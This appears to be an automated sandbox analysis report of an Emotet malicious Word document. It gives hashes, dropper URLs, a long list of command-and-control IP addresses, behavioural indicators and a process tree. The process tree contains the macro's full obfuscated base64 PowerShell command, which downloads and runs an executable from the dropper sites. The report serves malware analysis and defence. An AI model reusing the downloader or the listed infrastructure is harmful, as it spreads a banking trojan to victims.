emotet | 41e117890931d05a1eaa233b22b71bd5de72311491f54ccd76c7141d37a2c2a8

Analysis

max time kernel
143s
max time network
145s
platform
windows10_x64
resource
win10v200722
submitted
21/08/2020, 21:29

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Report Analysis Logs

General

Target
emotet_e1_41e117890931d05a1eaa233b22b71bd5de72311491f54ccd76c7141d37a2c2a8_2020-08-21__212843._doc.doc
Size 178KB
Sample200821-cee7msa7lx
SHA256 41e117890931d05a1eaa233b22b71bd5de72311491f54ccd76c7141d37a2c2a8
MD5 1ea1fcab567db1eb6fdc42b62b9fcfc0
SHA1 1b74678c8d83367b016dbfadda7e1156c1517240
SHA512 44e3a6e4bdee1aea07a25d4b65b3603c45f18c8aed4a2aad7f806064996595a4ce95e0ce55cfd95b59af91e45d7c9623132e8536ce04f055c07cf402d9e94a1d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://tavo.cl/resumen-uso-inodos/2/
exe.dropper
http://swiftlogisticseg.com/wp-admin/yV/
exe.dropper
http://uss.ac.th/cgi-bin/g0/
exe.dropper
http://nettube.com.br/rar/AM/
exe.dropper
https://onyourleftracing.com/cgi-bin/uas/
exe.dropper
http://paganwitch.com/wp-admin/H/
exe.dropper
http://turbozero.com/luxcal/files/z/

Extracted

Family

emotet

181.30.61.163:443
209.126.6.222:8080
5.153.250.14:8080
188.135.15.49:80
104.131.41.185:8080
178.250.54.208:8080
50.28.51.143:8080
170.81.48.2:80
87.106.46.107:8080
191.99.160.58:80
187.162.248.237:80
89.32.150.160:8080
46.28.111.142:7080
190.190.148.27:8080
190.115.18.139:8080
178.79.163.131:8080
73.213.208.163:80
219.92.8.17:8080
95.9.180.128:80
212.71.237.140:8080
82.196.15.205:8080
111.67.12.221:8080
24.135.198.218:80
202.4.57.96:80
61.92.159.208:8080
80.249.176.206:80
77.90.136.129:8080
81.129.198.57:80
58.171.153.81:80
217.13.106.14:8080
24.148.98.177:80
51.255.165.160:8080
190.6.193.152:8080
149.62.173.247:8080
94.206.45.18:80
137.74.106.111:7080
190.195.129.227:8090
85.109.159.61:443
207.144.103.227:80
91.219.169.180:80
217.199.160.224:7080
104.131.103.37:8080
83.169.21.32:7080
82.163.245.38:80
204.225.249.100:7080
152.169.22.67:80
45.161.242.102:80
65.36.62.20:80
185.94.252.27:443
116.125.120.88:443
190.24.243.186:80
190.147.137.153:443
190.128.173.10:80
192.241.146.84:8080
186.250.52.226:8080
68.183.170.114:8080
45.173.88.33:80
12.162.84.2:8080
185.33.0.233:80
68.183.190.199:8080
73.116.193.136:80
213.60.96.117:80
189.2.177.210:443
186.103.141.250:443
177.73.0.98:443
72.47.248.48:7080
2.47.112.152:80
181.129.96.162:8080
5.196.35.138:7080
185.94.252.12:80
190.163.31.26:80
94.176.234.118:443
70.32.84.74:8080
213.176.36.147:8080
114.109.179.60:80
177.74.228.34:80
186.70.127.199:8090
174.100.27.229:80
45.33.77.42:8080
212.93.117.170:80
219.92.13.25:80
188.2.217.94:80
77.55.211.77:8080
172.104.169.32:8080
85.105.140.135:443
209.236.123.42:8080
70.32.115.157:8080
24.135.1.177:80
82.76.111.249:443
192.241.143.52:8080
51.159.23.217:443
191.182.6.118:80
67.247.242.247:80
177.72.13.80:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	1508	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3784-15-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/3784-15-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/2732-18-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet
behavioral2/memory/2732-18-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	2060	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3784	Ebx_b2iy.exe
2732	UserDataTypeHelperUtil.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.UI.Core.TextInput\UserDataTypeHelperUtil.exe	Ebx_b2iy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2060	powersheLL.exe
2060	powersheLL.exe
2060	powersheLL.exe
2732	UserDataTypeHelperUtil.exe
2732	UserDataTypeHelperUtil.exe
2732	UserDataTypeHelperUtil.exe
2732	UserDataTypeHelperUtil.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 3784	2060	powersheLL.exe	77
PID 2060 wrote to memory of 3784	2060	powersheLL.exe	77
PID 2060 wrote to memory of 3784	2060	powersheLL.exe	77
PID 3784 wrote to memory of 2732	3784	Ebx_b2iy.exe	78
PID 3784 wrote to memory of 2732	3784	Ebx_b2iy.exe	78
PID 3784 wrote to memory of 2732	3784	Ebx_b2iy.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_41e117890931d05a1eaa233b22b71bd5de72311491f54ccd76c7141d37a2c2a8_2020-08-21__212843._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAVQBSAEkAYABUAFkAcAByAE8AdABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABSADcAdQBxAGsAbQBsACAAPQAgACgAJwBFACcAKwAnAGIAeABfAGIAJwArACcAMgBpAHkAJwApADsAJABZAG0ANQA3AGIAdgAwAD0AKAAnAEsAZQAnACsAJwBwADQAJwArACcAMwBfAGoAJwApADsAJABGADgAZQBmAGcAdQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMAGcAUgAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAEwAJwArACcAZwBSACcAKQAuACIAUgBFAFAAYABsAEEAQwBlACIAKAAoAFsAQwBoAGEAcgBdADcANgArAFsAQwBoAGEAcgBdADEAMAAzACsAWwBDAGgAYQByAF0AOAAyACkALAAnAFwAJwApACkAKwAkAFIANwB1AHEAawBtAGwAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAegBuAGIAdwAzAG0APQAoACcAVgAnACsAJwBqAGoAegBsACcAKwAnAHcAbgAnACkAOwAkAEcAOQA5ADYAOABmADgAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEYAdwBhAGEAMQBxAHIAPQAoACcAaAB0AHQAJwArACcAcAA6AC8ALwB0AGEAJwArACcAdgBvAC4AYwBsACcAKwAnAC8AcgBlAHMAdQBtAGUAbgAtAHUAcwAnACsAJwBvACcAKwAnAC0AaQAnACsAJwBuAG8AZABvAHMAJwArACcALwAyAC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoALwAvAHMAdwAnACsAJwBpAGYAdAAnACsAJwBsAG8AZwBpACcAKwAnAHMAJwArACcAdABpAGMAcwBlAGcALgBjAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAvAHkAVgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB1AHMAJwArACcAcwAnACsAJwAuACcAKwAnAGEAYwAuAHQAaAAvACcAKwAnAGMAZwBpAC0AYgBpAG4ALwBnADAALwAnACsAJwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AbgAnACsAJwBlAHQAJwArACcAdAB1AGIAZQAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AcgBhAHIAJwArACcALwBBAE0ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwBvACcAKwAnAG4AeQBvAHUAJwArACcAcgBsAGUAZgB0AHIAYQBjACcAKwAnAGkAbgBnAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcAdQBhACcAKwAnAHMALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcAAnACsAJwBhACcAKwAnAGcAYQAnACsAJwBuAHcAaQB0AGMAaAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwArACcASAAvACoAaAB0AHQAcAA6AC8ALwB0AHUAcgBiACcAKwAnAG8AegAnACsAJwBlACcAKwAnAHIAJwArACcAbwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AbAB1AHgAYwBhAGwALwBmACcAKwAnAGkAbABlAHMAJwArACcALwB6ACcAKwAnAC8AJwApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAcQAwAHcAMQBqAHEAPQAoACcATwB5ADgAJwArACcAaAA1ADkAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGUAYwBpAGoAcwAyACAAaQBuACAAJABGAHcAYQBhADEAcQByACkAewB0AHIAeQB7ACQARwA5ADkANgA4AGYAOAAuACIARABgAG8AdwBuAGAATABPAEEAYABEAGYASQBMAGUAIgAoACQASABlAGMAaQBqAHMAMgAsACAAJABGADgAZQBmAGcAdQBjACkAOwAkAEoAeABiAGMANgB4ADkAPQAoACcAQQAnACsAJwBoAGMAJwArACcAMwBtAGsAcgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgA4AGUAZgBnAHUAYwApAC4AIgBMAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADIAMgAzACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEYAOABlAGYAZwB1AGMAKQA7ACQAVgAzAGwAYQB5AHgAMgA9ACgAJwBEAHIAOQAnACsAJwA3AGYANQA3ACcAKQA7AGIAcgBlAGEAawA7ACQARgBsAHoAdQBrADMAcAA9ACgAJwBVAHYAdAAnACsAJwBnACcAKwAnAHkANwBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBxAGEAZwBkAGIAMQA9ACgAJwBJACcAKwAnADUAegBmAF8AawA2ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\SysWOW64\Windows.UI.Core.TextInput\UserDataTypeHelperUtil.exe
    "C:\Windows\SysWOW64\Windows.UI.Core.TextInput\UserDataTypeHelperUtil.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2060-10-0x000001FF4E290000-0x000001FF4E291000-memory.dmp

Download

memory/2060-11-0x000001FF4E450000-0x000001FF4E451000-memory.dmp

Download

memory/2060-9-0x00007FFF40EF0000-0x00007FFF418DC000-memory.dmp

Download

memory/2732-18-0x00000000005A0000-0x00000000005AC000-memory.dmp

Download

memory/3784-15-0x00000000006D0000-0x00000000006DC000-memory.dmp

Download

memory/3984-4-0x000001F35BE21000-0x000001F35BE32000-memory.dmp

Download

memory/3984-8-0x000001F35BF89000-0x000001F35BF8E000-memory.dmp

Download

memory/3984-7-0x000001F35BF89000-0x000001F35BF8E000-memory.dmp

Download

memory/3984-6-0x000001F35BF89000-0x000001F35BF8E000-memory.dmp

Download

memory/3984-5-0x000001F357155000-0x000001F357196000-memory.dmp

Download

memory/3984-0-0x00007FFF4ED40000-0x00007FFF4F406000-memory.dmp

Download

memory/3984-3-0x000001F35BE21000-0x000001F35BE32000-memory.dmp

Download

memory/3984-2-0x000001F35BE21000-0x000001F35BE32000-memory.dmp

Download

memory/3984-1-0x000001F35BE21000-0x000001F35BE32000-memory.dmp

Download